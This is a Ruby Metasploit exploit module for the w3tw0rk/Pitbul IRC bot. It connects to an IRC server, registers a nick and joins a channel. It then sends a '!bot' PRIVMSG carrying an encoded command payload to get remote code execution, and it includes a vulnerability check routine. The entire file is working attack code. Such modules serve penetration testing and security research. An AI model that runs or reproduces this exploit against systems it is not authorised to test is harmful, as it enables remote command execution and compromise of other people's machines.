##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'w3tw0rk / Pitbul IRC Bot  Remote Code Execution',
        'Description' => %q{
          This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.
        },
        'Author' => [
          'Jay Turla'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '120384' ],
          [ 'EDB', '36652' ]
        ],
        'Platform' => %w{unix win},
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd'
                        }
        },
        'Targets' => [
          [ 'w3tw0rk', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2015-06-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(6667),
        OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
        OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
        OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
      ]
    )
  end

  def post_auth?
    true
  end

  def check
    connect

    res = register(sock)
    if res =~ /463/ || res =~ /464/
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Connection to the IRC Server not allowed")
      return Exploit::CheckCode::Unknown('Connection to the IRC server not allowed')
    end

    res = join(sock)
    if res !~ /353/ && res !~ /366/
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Error joining the #{datastore['CHANNEL']} channel")
      return Exploit::CheckCode::Unknown('Connection failed')
    end

    quit(sock)
    disconnect

    if res =~ /auth/ && res =~ /logged in/
      Exploit::CheckCode::Vulnerable('Bot responded with auth and logged in confirmation')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def send_msg(sock, data)
    sock.put(data)
    data = ""
    begin
      read_data = sock.get_once(-1, 1)
      while !read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
      elog(e)
    end

    data
  end

  def register(sock)
    msg = ""

    if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
      msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
    end

    if datastore['NICK'].length > 9
      nick = rand_text_alpha(9)
      print_error("The nick is longer than 9 characters, using #{nick}")
    else
      nick = datastore['NICK']
    end

    msg << "NICK #{nick}\r\n"
    msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"

    send_msg(sock, msg)
  end

  def join(sock)
    join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
    send_msg(sock, join_msg)
  end

  def w3tw0rk_command(sock)
    encoded = payload.encoded
    command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
    send_msg(sock, command_msg)
  end

  def quit(sock)
    quit_msg = "QUIT :bye bye\r\n"
    sock.put(quit_msg)
  end

  def exploit
    connect

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Registering with the IRC Server...")
    res = register(sock)
    if res =~ /463/ || res =~ /464/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Connection to the IRC Server not allowed")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Joining the #{datastore['CHANNEL']} channel...")
    res = join(sock)
    if res !~ /353/ && res !~ /366/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Error joining the #{datastore['CHANNEL']} channel")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Exploiting the IRC bot...")
    w3tw0rk_command(sock)

    quit(sock)
    disconnect
  end
end
